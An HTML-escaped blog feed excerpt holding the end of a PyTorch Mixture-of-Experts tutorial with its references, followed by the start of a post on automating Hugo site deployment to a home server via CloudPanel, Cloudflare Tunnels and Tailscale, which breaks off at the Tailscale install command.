&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    outputs_for_expert &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;stack([&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;experts[inds[b]](x[b]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;unsqueeze(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;)) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; b &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(batch_size)])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    expert_outputs[:, i, :] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; outputs_for_expert&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;squeeze(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Multiply each expert&amp;rsquo;s output by its gating probability and sum them to form the final output:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;topk_vals_expanded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; topk_vals&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;unsqueeze(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;weighted_sum &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; expert_outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; topk_vals_expanded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; weighted_sum&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sum(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;topk_vals&lt;/code&gt; (probabilities) are weights for the corresponding expert outputs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The model processes a batch of inputs and returns the combined output with a shape matching &lt;code&gt;(batch_size, output_size)&lt;/code&gt;. For the example above, &lt;code&gt;Output shape: torch.Size([8, 5])&lt;/code&gt; confirms that the model routes each input to the most relevant experts, processes the input through those experts, and combines their contributions into a unified output.&lt;/p&gt;
&lt;h4 id=&#34;code-dependencies&#34;&gt;Code Dependencies&lt;/h4&gt;
&lt;p&gt;To run this code, you&amp;rsquo;ll need the following dependencies:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Python 3.6 or later (preferably 3.10 or higher)&lt;/li&gt;
&lt;li&gt;PyTorch 1.0 or later&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Save the code to a file, e.g., &lt;code&gt;moe_example.py&lt;/code&gt;, and run it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python moe_example.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I used Conda, which I prefer for managing Python environments. If you&amp;rsquo;re using a virtual environment, you can adapt the installation commands accordingly. For Conda, you can create a new environment and install PyTorch using the following steps.&lt;/p&gt;
&lt;p&gt;Start by creating a new conda environment with PyTorch dependencies. In  your terminal, execute the following commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create a new conda environment named &amp;#34;moe_env&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conda create -n moe_example &lt;span style=&#34;color:#f4dbd6&#34;&gt;python&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;3.10 -y
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Activate the environment&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conda activate moe_example&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Install PyTorch and necessary dependencies; adjust the CUDA version based on your system&amp;rsquo;s GPU configuration. You can omit the &lt;code&gt;pytorch-cuda&lt;/code&gt; package using a CPU-only setup.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# For CPU-only:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conda install pytorch torchvision torchaudio cpuonly -c pytorch -y
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# For GPU (use appropriate CUDA version, e.g., 11.7):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conda install pytorch torchvision torchaudio pytorch-cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;11.7 -c pytorch -c nvidia -y
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Install additional dependencies if needed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install numpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This example demonstrates the basic structure of an MoE model, including the experts, gating network, and the MoE module that combines them. Of course, this is a toy version that helps understand the basic construct and does not include advanced features like load balancing or sparsity, etc.&lt;/p&gt;
&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Mixture of Experts offers a compelling framework for scaling neural networks and managing the trade-offs between model size, computational cost, and performance. By selectively activating only a subset of parameters for each input, MoE allows researchers and practitioners to build models with enormous capacity without incurring a proportionate computational penalty. Given the additional interest in inference optimization for LLMs and broadly with Transformer-based architecture, we expect to see further innovations and applications for MoE.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;references&#34;&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Outrageously Large Neural Networks: The Sparsely-Gated Mixture-of-Experts Layer - &lt;a
	
		href = &#34;https://arxiv.org/abs/1701.06538&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1701.06538
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GShard: Scaling Giant Models with Conditional Computation and Automatic Sharding - &lt;a
	
		href = &#34;https://arxiv.org/abs/2006.16668&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2006.16668
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Switch Transformers: Scaling to Trillion Parameter Models with Simple and Efficient Sparsity - &lt;a
	
		href = &#34;https://arxiv.org/abs/2101.03961&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2101.03961
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A Lightweight Mixture-of-Experts Neural Machine Translation Model with Stage-wise Training Strategy - &lt;a
	
		href = &#34;https://aclanthology.org/2024.findings-naacl.154/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/2024.findings-naacl.154/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Deep Mixture of Experts via Shallow Embedding - &lt;a
	
		href = &#34;https://arxiv.org/abs/1806.01531&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1806.01531
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mixture of Experts in Image Classification: What&amp;rsquo;s the Sweet Spot? - &lt;a
	
		href = &#34;https://arxiv.org/abs/2411.18322v1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2411.18322v1
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mesh-TensorFlow: Deep Learning for Supercomputers - &lt;a
	
		href = &#34;https://proceedings.neurips.cc/paper/2018/hash/3a37abdeefe1dab1b30f7c5c7e581b93-Abstract.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://proceedings.neurips.cc/paper/2018/hash/3a37abdeefe1dab1b30f7c5c7e581b93-Abstract.html
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A Generalist Agent - &lt;a
	
		href = &#34;https://arxiv.org/abs/2205.06175&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2205.06175
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Estimating or Propagating Gradients Through Stochastic Neurons for Conditional Computation - &lt;a
	
		href = &#34;https://arxiv.org/abs/1308.3432&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1308.3432
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;From Sparse to Soft Mixtures of Experts - &lt;a
	
		href = &#34;https://arxiv.org/abs/2308.00951&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2308.00951
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Parameter-Efficient Sparsity Crafting for Large Language Models - &lt;a
	
		href = &#34;https://aclanthology.org/2024.emnlp-main.43/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/2024.emnlp-main.43/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Automating Hugo Deployments</title>
      <link>/post/2024/12/automating-hugo-deployments/</link>
      <pubDate>Mon, 23 Dec 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/12/automating-hugo-deployments/</guid>
      <description>&lt;h3 id=&#34;1-a-little-background&#34;&gt;1. A little background&lt;/h3&gt;
&lt;p&gt;I have been meaning to automate the deployment of my blog post to a dev server (running locally) for a while, but I haven&amp;rsquo;t had the time to get around to it until now. In addition to deploying this, the dev server also had several constraints. It is one of the machines at home and is not exposed directly to the internet. I also don&amp;rsquo;t have any ports opened on the firewalls at home, which adds a few more interesting challenges. I have a server hosted online in one of the data centers, but I want to keep that for more &amp;lsquo;production&amp;rsquo; things.&lt;/p&gt;
&lt;p&gt;Another thing I wanted to do was clean up the theme being used, as it wasn&amp;rsquo;t compatible with the newer version of Hugo. The longer I was pinned to an older version, the more challenging it would be to update. Now, these are all done and working, and I wanted to share what I learned here—more so because I will likely need to find this at some point in the future, but it might also help someone else.&lt;/p&gt;
&lt;p&gt;PS - If you don&amp;rsquo;t notice much (any?) difference in the blog&amp;rsquo;s look, that means it is a good thing; I worked through fixing the theme and upgrading to the latest version of Hugo (v0.140.0 at the time of writing this).&lt;/p&gt;
&lt;p&gt;While cleaning up, I also got around to things I had wanted to do for a while. I wanted to see how to securely expose one of the machines I have at home online without opening up ports and things and serve several services—mostly for my own use.&lt;/p&gt;
&lt;h3 id=&#34;11-dev-server-setup-desktop_computer&#34;&gt;1.1 Dev-Server Setup &amp;#x1f5a5;&amp;#xfe0f;&lt;/h3&gt;
&lt;p&gt;I think outlining how this machine is set up would be helpful, as I am sure many others will be trying this. First, this machine runs locally on the home network, running a headless Ubuntu server. The environment that made this dev server unique was the combination of things - I use &lt;a href=&#34;https://tailscale.com/&#34; target=&#34;_blank&#34;&gt;Tailscale&lt;/a&gt;, &lt;a href=&#34;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&#34; target=&#34;_blank&#34;&gt;Cloudflare Tunnels&lt;/a&gt;, &lt;a href=&#34;https://www.cloudpanel.io/&#34; target=&#34;_blank&#34;&gt;CloudPanel&lt;/a&gt;, and as outlined earlier &lt;a href=&#34;https://gohugo.io/&#34; target=&#34;_blank&#34;&gt;Hugo&lt;/a&gt;. The code sits in a private Github repo, and the build-server is via Github Actions. I won&amp;rsquo;t get into the details of each setup here as the intent of the blog post is not that, but I will share some context below.&lt;/p&gt;
&lt;h3 id=&#34;12-tailscale&#34;&gt;1.2 Tailscale&lt;/h3&gt;
&lt;p&gt;To make my life easier between the different machines and servers I have, running both locally at home and on the cloud, including bare-metal machines, I use &lt;a href=&#34;https://tailscale.com/&#34; target=&#34;_blank&#34;&gt;Tailscale&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tailscale simplifies network management by creating a secure, zero-config mesh VPN based on the WireGuard protocol. Unlike traditional VPNs that route all traffic through a central server, Tailscale forms direct, encrypted connections between devices, regardless of their physical location or network configuration. This &amp;ldquo;mesh&amp;rdquo; approach offers significant performance benefits, reduced latency, and improved reliability. By assigning each device a stable IP address within a private network namespace, Tailscale eliminates the complexities of managing firewalls, port forwarding, and dynamic DNS, making it ideal for connecting personal devices, servers, and cloud instances into a cohesive, secure network.&lt;/p&gt;
&lt;p&gt;What makes Tailscale work like magic is a feature they call &lt;a href=&#34;https://tailscale.com/kb/1081/magicdns&#34; target=&#34;_blank&#34;&gt;MagicDNS&lt;/a&gt;. This feature eliminates the need to remember IP addresses and SSH keys for different machines. Using Tailnet, I get a private VPN between different machines, and I can use that to connect to any of these without opening any ports, etc. This significantly simplifies the networking process and enhances security.&lt;/p&gt;
&lt;h3 id=&#34;13-cloudpanel&#34;&gt;1.3 CloudPanel&lt;/h3&gt;
&lt;p&gt;I use &lt;a href=&#34;https://www.cloudpanel.io/&#34; target=&#34;_blank&#34;&gt;CloudPanel&lt;/a&gt;, a free and open-source server control panel for managing web servers and applications. In the context of this blog post, CloudPanel provides a user-friendly web interface for creating and managing websites, databases, email accounts, and DNS records. It&amp;rsquo;s a crucial part of the automation process, allowing for efficient server management and deployment. Its lightweight design and efficient resource utilization make it great for me.&lt;/p&gt;
&lt;h3 id=&#34;14-cloudflare-tunnels&#34;&gt;1.4 Cloudflare Tunnels&lt;/h3&gt;
&lt;p&gt;Cloudflare Tunnels play a crucial role in the deployment process. They offer a secure and efficient way to expose web services running on private networks without opening inbound ports on firewalls. By establishing an outbound-only connection between a lightweight daemon (&lt;code&gt;cloudflared&lt;/code&gt;) running on your server and Cloudflare&amp;rsquo;s global network, Tunnels create an encrypted tunnel that allows external users to access your services through Cloudflare&amp;rsquo;s edge. This approach enhances security by eliminating the attack surface associated with open ports while leveraging Cloudflare&amp;rsquo;s performance optimizations, such as caching, DDoS protection, and global CDN. It&amp;rsquo;s a powerful tool for self-hosting applications, APIs, and websites from home networks or private infrastructure without compromising security.&lt;/p&gt;
&lt;h3 id=&#34;2-server-setup-keyboard&#34;&gt;2. Server Setup &amp;#x2328;&amp;#xfe0f;&lt;/h3&gt;
&lt;p&gt;To get this to work at a high level, we will do the following to get all of this working. This post won&amp;rsquo;t get into all the details of setting up the prerequisites, and it assumes that you have the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CloudPanel installed on your machine.&lt;/li&gt;
&lt;li&gt;Cloudflare account with a Cloudflare Tunnel set up.&lt;/li&gt;
&lt;li&gt;GitHub repo containing the Hugo project.&lt;/li&gt;
&lt;li&gt;Tailscale for private networking - this is in addition to the HTTP traffic that Cloudflare handles.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;21-create-a-static-site-in-cloudpanel&#34;&gt;2.1. Create a Static Site in CloudPanel&lt;/h3&gt;
&lt;p&gt;In CloudPanel, create a new “&lt;strong&gt;Site&lt;/strong&gt;” (from the Dashboard). Select &lt;code&gt;Static&lt;/code&gt;, and assign it a domain, e.g., &lt;code&gt;blog.desigeek.com&lt;/code&gt;. CloudPanel will create a directory structure under something like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(Exact path can vary based on CloudPanel’s naming conventions.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The figure below shows an example of how I set this up.
&lt;p&gt;

    &lt;img src=&#34;images/cloudpanel-1.png&#34; alt=&#34;Static site in Cloudpanel&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;211-create-an-ssh-user&#34;&gt;2.1.1 Create an SSH User&lt;/h3&gt;
&lt;p&gt;If you haven’t already, go to CloudPanel’s “&lt;strong&gt;Users&lt;/strong&gt;” section. You can create an &lt;strong&gt;SSH user&lt;/strong&gt; (for example, &lt;code&gt;blog-ssh&lt;/code&gt;). This user will be mapped to the same group or path used by CloudPanel so that it can write your site files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make sure the SSH user’s &lt;strong&gt;home directory&lt;/strong&gt; either &lt;em&gt;is&lt;/em&gt; or &lt;em&gt;can write to&lt;/em&gt; the directory created earlier &lt;code&gt;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For our example, I created an SSH user called &lt;code&gt;blog-ssh&lt;/code&gt;, and the user&amp;rsquo;s group on Ubuntu was called &lt;code&gt;bahree-blog&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Note: on some CloudPanel installations, the user’s primary group might be something else, not necessarily &lt;code&gt;bahree-blog&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The image below shows an example of how to set this up.
&lt;p&gt;

    &lt;img src=&#34;images/cloudpanel-2.png&#34; alt=&#34;Cloudpanel SSH User setting&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;212-directory-paths-and-permissions&#34;&gt;2.1.2. Directory Paths and Permissions&lt;/h3&gt;
&lt;p&gt;Confirm that your SSH user (&lt;code&gt;blog-ssh&lt;/code&gt;) can write into the &lt;code&gt;blog.desigeek.com&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Example:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -ld /home/&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;cloudpanel_username&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;/htdocs/blog.desigeek.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the owner or group matches your user or a group the user is in.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# If needed:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo chown -R blog-ssh:bahree-blog /home/&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;cloudpanel_username&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;/htdocs/blog.desigeek.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo chmod -R &lt;span style=&#34;color:#f5a97f&#34;&gt;755&lt;/span&gt; /home/&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;cloudpanel_username&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;/htdocs/blog.desigeek.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(Adjust &lt;code&gt;bahree-blog&lt;/code&gt; to the actual group that CloudPanel assigned.)&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;22-cloudflare-tunnel-configuration&#34;&gt;2.2 Cloudflare Tunnel Configuration&lt;/h3&gt;
&lt;p&gt;Cloudflare Tunnel is typically set up via Cloudflare’s admin dashboard or command line (see &lt;a href=&#34;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/get-started/&#34; target=&#34;_blank&#34;&gt;the docs&lt;/a&gt; for more details).&lt;/p&gt;
&lt;p&gt;We will map the domain &lt;code&gt;blog.desigeek.com&lt;/code&gt; to the local server’s port 80 (or 443). Since CloudPanel listens on port 80/443, your tunnel might forward something like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare subdomain → &lt;code&gt;localhost:80&lt;/code&gt; on your server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because Cloudflare is reverse proxying your site, you won’t need to open inbound ports on your server. Ensure your DNS is configured so that &lt;code&gt;blog.desigeek.com&lt;/code&gt; points to the Cloudflare Tunnel.&lt;/p&gt;
&lt;p&gt;The image below shows an example of what this would look like.
&lt;p&gt;

    &lt;img src=&#34;images/cloudfare-1.png&#34; alt=&#34;Cloudfare Tunnel example&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;23-setup-tailscale-secure-private-access&#34;&gt;2.3. Setup Tailscale Secure Private Access&lt;/h3&gt;
&lt;p&gt;To deploy the Hugo site on my home dev server, I need private remote access (SSH, SCP, rsync, etc.) between the GitHub build servers and the home server. I achieve this using Tailscale.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Install Tailscale&lt;/strong&gt; on your server:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -fsSL https://tailscale.com/install.sh | sh
